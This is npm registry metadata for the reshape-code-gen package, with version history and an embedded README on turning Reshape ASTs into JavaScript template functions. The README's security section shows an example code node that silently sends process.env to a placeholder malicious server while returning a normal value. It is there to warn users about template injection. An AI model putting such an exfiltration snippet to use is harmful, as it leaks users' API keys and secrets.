{"_id":"reshape-code-gen","_rev":"2169311","name":"reshape-code-gen","description":"converts a reshape ast into a javascript function","dist-tags":{"latest":"2.0.0"},"maintainers":[{"name":"jescalan","email":"hello@jenius.me"}],"time":{"modified":"2022-01-05T02:57:44.000Z","created":"2016-08-10T16:26:32.898Z","2.0.0":"2018-07-24T22:05:59.430Z","1.0.0":"2018-01-17T22:51:03.095Z","0.2.1":"2017-01-18T21:30:39.424Z","0.2.0":"2017-01-17T23:42:59.667Z","0.1.0":"2016-08-10T16:26:32.898Z"},"users":{},"author":{"name":"Jeff Escalante"},"repository":{"type":"git","url":"https://github.com/reshape/code-gen.git"},"versions":{"2.0.0":{"name":"reshape-code-gen","description":"converts a reshape ast into a javascript function","version":"2.0.0","author":{"name":"Jeff Escalante"},"ava":{"verbose":"true"},"bugs":{"url":"https://github.com/reshape/code-gen/issues"},"dependencies":{"objectfn":"^2.0.0","with":"^6.0.0"},"devDependencies":{"ava":"^0.25.0","coveralls":"^3.0.2","nyc":"^12.0.2","reshape":"^0.5.1","reshape-custom-elements":"^0.1.0","reshape-parser":"^1.0.0","standard":"11.0.1"},"engines":{"node":">= 6.0.0"},"homepage":"https://github.com/reshape/code-gen","keywords":["code-generator","reshape"],"license":"MIT","main":"lib","repository":{"type":"git","url":"https://github.com/reshape/code-gen.git"},"scripts":{"coverage":"nyc ava","coveralls":"nyc --reporter=lcov ava && cat ./coverage/lcov.info | coveralls","lint":"standard","test":"ava"},"licenseText":"License (MIT)\n-------------\n\nCopyright (c) 2016 Jeff Escalante\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n","_id":"reshape-code-gen@2.0.0","dist":{"shasum":"ea8876b08fe9dd747035af646ba10c47308ecdee","size":5786,"noattachment":false,"key":"/reshape-code-gen/-/reshape-code-gen-2.0.0.tgz","tarball":"http://registry.cnpm.dingdandao.com/reshape-code-gen/download/reshape-code-gen-2.0.0.tgz"},"maintainers":[{"name":"jescalan","email":"hello@jenius.me"}],"_npmUser":{"name":"jescalan","email":"npm.je@mailhero.io"},"directories":{},"_npmOperationalInternal":{"host":"s3://npm-registry-packages","tmp":"tmp/reshape-code-gen_2.0.0_1532469959328_0.8683918691101207"},"_hasShrinkwrap":false,"publish_time":1532469959430,"_cnpm_publish_time":1532469959430},"1.0.0":{"name":"reshape-code-gen","description":"converts a reshape ast into a javascript function","version":"1.0.0","author":{"name":"Jeff Escalante"},"ava":{"verbose":"true"},"bugs":{"url":"https://github.com/reshape/code-gen/issues"},"dependencies":{"objectfn":"^2.0.0","with":"^5.1.1"},"devDependencies":{"ava":"^0.24.0","coveralls":"^3.0.0","nyc":"^11.4.1","reshape":"^0.4.1","reshape-custom-elements":"^0.1.0","reshape-parser":"^0.2.0","standard":"10.0.3"},"engines":{"node":">= 6.0.0"},"homepage":"https://github.com/reshape/code-gen","keywords":["code-generator","reshape"],"license":"MIT","main":"lib","repository":{"type":"git","url":"git+https://github.com/reshape/code-gen.git"},"scripts":{"coverage":"nyc ava","coveralls":"nyc --reporter=lcov ava && cat ./coverage/lcov.info | coveralls","lint":"standard","test":"ava"},"gitHead":"6deebeb52bd49aedef87f901e95616a13a2e6b77","_id":"reshape-code-gen@1.0.0","_npmVersion":"5.6.0","_nodeVersion":"9.3.0","_npmUser":{"name":"jescalan","email":"npm.je@mailhero.io"},"dist":{"shasum":"c7d23cb133eacc9e5c1e6a83b3fe57c200e18eb0","size":5367,"noattachment":false,"key":"/reshape-code-gen/-/reshape-code-gen-1.0.0.tgz","tarball":"http://registry.cnpm.dingdandao.com/reshape-code-gen/download/reshape-code-gen-1.0.0.tgz"},"maintainers":[{"name":"jescalan","email":"hello@jenius.me"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages","tmp":"tmp/reshape-code-gen-1.0.0.tgz_1516229462220_0.4180305767804384"},"directories":{},"publish_time":1516229463095,"_hasShrinkwrap":false,"_cnpm_publish_time":1516229463095},"0.2.1":{"name":"reshape-code-gen","description":"converts a reshape ast into a javascript function","version":"0.2.1","author":{"name":"Jeff Escalante"},"ava":{"verbose":"true"},"bugs":{"url":"https://github.com/reshape/code-gen/issues"},"dependencies":{"objectfn":"^2.0.0","with":"^5.1.1"},"devDependencies":{"ava":"^0.17.0","coveralls":"^2.11.12","nyc":"^10.0.0","reshape":"github:reshape/reshape","reshape-custom-elements":"github:reshape/custom-elements","reshape-parser":"^0.2.0","standard":"8.6.0"},"engines":{"node":">= 6.0.0"},"homepage":"https://github.com/reshape/code-gen","keywords":["code-generator","reshape"],"license":"MIT","main":"lib","repository":{"type":"git","url":"git+https://github.com/reshape/code-gen.git"},"scripts":{"coverage":"nyc ava","coveralls":"nyc --reporter=lcov ava && cat ./coverage/lcov.info | coveralls","lint":"standard","test":"ava"},"gitHead":"eb369d294e7861db153f1c2805ab29bd05eb5d15","_id":"reshape-code-gen@0.2.1","_shasum":"e1cd981b0573138661d34b54244d38f09ab33d14","_from":".","_npmVersion":"4.0.5","_nodeVersion":"7.4.0","_npmUser":{"name":"jescalan","email":"npm.je@mailhero.io"},"dist":{"shasum":"e1cd981b0573138661d34b54244d38f09ab33d14","size":5468,"noattachment":false,"key":"/reshape-code-gen/-/reshape-code-gen-0.2.1.tgz","tarball":"http://registry.cnpm.dingdandao.com/reshape-code-gen/download/reshape-code-gen-0.2.1.tgz"},"maintainers":[{"name":"jescalan","email":"hello@jenius.me"}],"_npmOperationalInternal":{"host":"packages-12-west.internal.npmjs.com","tmp":"tmp/reshape-code-gen-0.2.1.tgz_1484775037426_0.34136663866229355"},"directories":{},"publish_time":1484775039424,"_cnpm_publish_time":1484775039424,"_hasShrinkwrap":false},"0.2.0":{"name":"reshape-code-gen","description":"converts a reshape ast into a javascript function","version":"0.2.0","author":{"name":"Jeff Escalante"},"ava":{"verbose":"true"},"bugs":{"url":"https://github.com/reshape/code-gen/issues"},"dependencies":{"objectfn":"^2.0.0","with":"^5.1.1"},"devDependencies":{"ava":"^0.17.0","coveralls":"^2.11.12","nyc":"^10.0.0","reshape":"github:reshape/reshape","reshape-custom-elements":"github:reshape/custom-elements","reshape-parser":"^0.2.0","standard":"8.6.0"},"engines":{"node":">= 6.0.0"},"homepage":"https://github.com/reshape/code-gen","keywords":["code-generator","reshape"],"license":"MIT","main":"lib","repository":{"type":"git","url":"git+https://github.com/reshape/code-gen.git"},"scripts":{"coverage":"nyc ava","coveralls":"nyc --reporter=lcov ava && cat ./coverage/lcov.info | coveralls","lint":"standard","test":"ava"},"gitHead":"d239adcfd9366ab2c1ede4cca6d34e8182dc825b","_id":"reshape-code-gen@0.2.0","_shasum":"dbaa653f2f78ba95309274e9539099ee530642c4","_from":".","_npmVersion":"4.0.5","_nodeVersion":"7.4.0","_npmUser":{"name":"jescalan","email":"npm.je@mailhero.io"},"dist":{"shasum":"dbaa653f2f78ba95309274e9539099ee530642c4","size":5116,"noattachment":false,"key":"/reshape-code-gen/-/reshape-code-gen-0.2.0.tgz","tarball":"http://registry.cnpm.dingdandao.com/reshape-code-gen/download/reshape-code-gen-0.2.0.tgz"},"maintainers":[{"name":"jescalan","email":"hello@jenius.me"}],"_npmOperationalInternal":{"host":"packages-18-east.internal.npmjs.com","tmp":"tmp/reshape-code-gen-0.2.0.tgz_1484696579028_0.5586167566943914"},"directories":{},"publish_time":1484696579667,"_cnpm_publish_time":1484696579667,"_hasShrinkwrap":false},"0.1.0":{"name":"reshape-code-gen","description":"converts a reshape ast into a javascript function","version":"0.1.0","author":{"name":"Jeff Escalante"},"ava":{"verbose":"true"},"bugs":{"url":"https://github.com/reshape/code-gen/issues"},"dependencies":{"objectfn":"^2.0.0","with":"^5.1.1"},"devDependencies":{"ava":"^0.16.0","coveralls":"^2.11.12","nyc":"^7.1.0","reshape":"github:reshape/reshape","reshape-custom-elements":"github:reshape/custom-elements","reshape-parser":"^0.1.0","standard":"7.x"},"engines":{"node":">= 6.0.0"},"homepage":"https://github.com/reshape/code-gen","keywords":["code-generator","reshape"],"license":"MIT","main":"lib","repository":{"type":"git","url":"git+https://github.com/reshape/code-gen.git"},"scripts":{"coverage":"nyc ava","coveralls":"nyc --reporter=lcov ava && cat ./coverage/lcov.info | coveralls","lint":"standard","test":"ava"},"gitHead":"32e803fe5a29decbf90365cb2d5f89523a2502c4","_id":"reshape-code-gen@0.1.0","_shasum":"9c829a43ef047f7d82a5deca472255c9a40b706f","_from":".","_npmVersion":"3.8.9","_nodeVersion":"6.2.0","_npmUser":{"name":"jescalan","email":"npm.je@mailhero.io"},"dist":{"shasum":"9c829a43ef047f7d82a5deca472255c9a40b706f","size":4952,"noattachment":false,"key":"/reshape-code-gen/-/reshape-code-gen-0.1.0.tgz","tarball":"http://registry.cnpm.dingdandao.com/reshape-code-gen/download/reshape-code-gen-0.1.0.tgz"},"maintainers":[{"name":"jescalan","email":"hello@jenius.me"}],"_npmOperationalInternal":{"host":"packages-16-east.internal.npmjs.com","tmp":"tmp/reshape-code-gen-0.1.0.tgz_1470846392205_0.20102842058986425"},"directories":{},"publish_time":1470846392898,"_cnpm_publish_time":1470846392898,"_hasShrinkwrap":false}},"readme":"# Reshape Code Generator\n\n[![npm](https://img.shields.io/npm/v/reshape-code-gen.svg?style=flat-square)](https://npmjs.com/package/reshape-code-gen)\n[![tests](https://img.shields.io/travis/reshape/code-gen.svg?style=flat-square)](https://travis-ci.org/reshape/code-gen?branch=master)\n[![dependencies](https://img.shields.io/david/reshape/code-gen.svg?style=flat-square)](https://david-dm.org/reshape/code-gen)\n[![coverage](https://img.shields.io/coveralls/reshape/code-gen.svg?style=flat-square)](https://coveralls.io/r/reshape/code-gen?branch=master)\n\nConvert a Reshape AST into a Javascript function\n\n> **Note:** This project is in early development, and versioning is a little different. [Read this](http://markup.im/#q4_cRZ1Q) for more details.\n\n### Installation\n\n`npm install reshape-code-gen -S`\n\n> **Note:** This project is compatible with node v6+ only\n\n### Usage\n\nUsage is very straightforward. Just require the library and pass it a reshape AST, and it will return a function as a string. When you call the function, it will return the resulting html as a string.\n\n```js\nconst generate = require('reshape-code-gen')\n\nconst tpl = generate([\n  { type: 'string', content: 'hello ', line: 1, col: 1 },\n  { type: 'code', value: 'planet', line: 1, col: 7 }\n], {/* options */})\n\ntpl({ planet: 'world' }) // 'hello world'\n```\n\n### Options\n\n| Name | Description | Default |\n| ---- | ----------- | ------- |\n| **selfClosing** | style for handling self-closing tags. can be `slash` (`<br />`), `tag` (`<br></br>`), or `close` (`<br>`) | `close` |\n| **runtimeName** | custom name for the runtime object | `__runtime` |\n| **returnString** | gives back a string instead of a function | `false` |\n| **scopedLocals** | use `locals.foo` instead of `foo` in code nodes. this will speed up compile time, but be less pretty | `false`\n\n### Code Block Helpers\n\nWithin the `content` of a `code` node, there are two special helpers that can be used:\n\n#### `__nodes`\n\nA helper that can be used inside of a `code` node's content in order to inject an already-generated AST. For example:\n\n```js\n{\n  type: 'code',\n  content: 'foo === \"bar\" ? __nodes[0] : __nodes[1]',\n  nodes: [\n    { type: 'text', content: 'truth' },\n    { type: 'text', content: 'lies' }\n  ]\n}\n```\n\nThe `__nodes` helper is an array, and you can use the `nodes` property to hold on to values. Values can be a single node or a full tree, they will be evaluated, and the result will be substituted in where the `__nodes` marker is.\n\n####  `__runtime`\n\nThis helper can be used to access any functions on the runtime object. It will work under the same name whether the user has changed the runtime name via the options or not. For example:\n\n```js\n{\n  type: 'code',\n  content: '__runtime.escape(foo)'\n}\n```\n\n### Security\n\nPlease note that this library produces a function as its output that could be influenced by user input and will most likely run inside your application environment. While the default output is evaluated in a [sandbox](https://nodejs.org/api/vm.html), when the function is executed it will have full access to any part of your code's environment, as all functions do.\n\nChances are that any `code` nodes in your templates are your own code, probably for evaluating a local variable. However, if any type of outside user input is accepted and evaluated as a `code` node, or if a malicious plugin is being used, you have a serious security vulnerability on your hands. This is especially the case when using the `outputString` option and executing templates client-side. Keep in mind that it is also possible for plugins to contain malicious code, so be sure that you trust and have evaluated the source of any plugins you are using.\n\nHere's an example of how a `code` node could be used to compromise your secure information:\n\n```js\n{\n  type: 'code',\n  content: `\n    (function () {\n      const http = require(\\'http\\')\n      const req = http.request({\n        hostname: 'http://malicious-server.com',\n        method: 'POST',\n        headers: { 'Content-Type': 'application/json' }\n      })\n      req.write(JSON.stringify(process.env))\n      req.end()\n      return foo\n    })()\n  `\n}\n```\n\nIn this example, the code node will return `foo` from your local variables as if all is well, but in the background will send the contents of your environment, which often includes private API keys and such, to a malicious server. This example would work in node, but it would also be simple to add a version that would work in the browser, or even both, with an environment check. And this is a very tame example as well, arbitrarily injected code could easily be used to get or delete your database's contents, make financial transactions, conduct actions as a logged-in user, etc.\n\nWhile a situation like this is unlikely to happen, and all core plugins protect against it as much as possible, it is still something to keep in mind. _Especially_ if there is any user input inserted into your templates that could be potentially evaluated as code and not as a string.\n\n### License & Contributing\n\n- Details on the license [can be found here](LICENSE.md)\n- Details on running tests and contributing [can be found here](contributing.md)\n","_attachments":{},"homepage":"https://github.com/reshape/code-gen","bugs":{"url":"https://github.com/reshape/code-gen/issues"},"license":"MIT"}